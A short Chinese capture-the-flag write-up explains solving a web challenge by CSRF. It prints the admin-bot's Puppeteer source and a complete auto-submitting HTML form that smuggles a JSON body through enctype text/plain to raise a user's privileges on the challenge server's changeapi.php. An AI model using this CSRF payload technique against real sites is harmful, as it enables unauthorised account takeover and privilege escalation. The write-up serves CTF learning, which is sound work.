首先注册登陆后发现
审计change permission中的源码可以发现
这个地方需要我们提交一个usename的js表单进行用户提权,
根据题目的意思,我们需要提权之后才能看到flag。
首先用bp直接提交表单试试,结果发现这个地方需要admin的用户才能提权,那么我们需要进行CSRF让服务器给我们提权。
再分析report界面的js代码
const opt = {
name: "fxxkcors",
router: "fxxkcors",
site: process.env.FXXK_SITE ?? "",
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const visit = async (browser, url) =>{
let site = process.env.FXXK_SITE ?? ""
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto(site)
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()
const page = await browser.newPage()
await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})
await delay(2000) /// waiting 2 second.
console.log(await page.evaluate(() => document.documentElement.outerHTML))
}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
module.exports = {
opt:opt,
visit:visit
}
不难发现,这个源码的意思是,通过网站内部访问我们所提供的的url,
那么我们就有了一个思路,就是先构造一个网页1.html挂在自己的服务器上,然后上传这个网页的url即可。
<html>
<body onload='document.forms[0].submit()'>
<form name="test" method='POST' enctype='text/plain' action='http://124.71.205.122:10002/changeapi.php'>
<input name='{"username": "54088", "aaa":"'value='"}' >
<input type="submit">
</form>
<script>
window.onload = () =>{
test.submit();
}
</script>
</body>
</htmL>
这个地方要注意两个个细节:
1、form设置enctype="text/plain" 避免被urlencode
2、由于我们提交表单的结构为:name=value
所以表单提交之后的post值为:
{"username":"54088","aaa":"="}
所以这个地方需要用一个aaa变量来吞掉这个=。
最后我们访问原页面即可。
Comments | NOTHING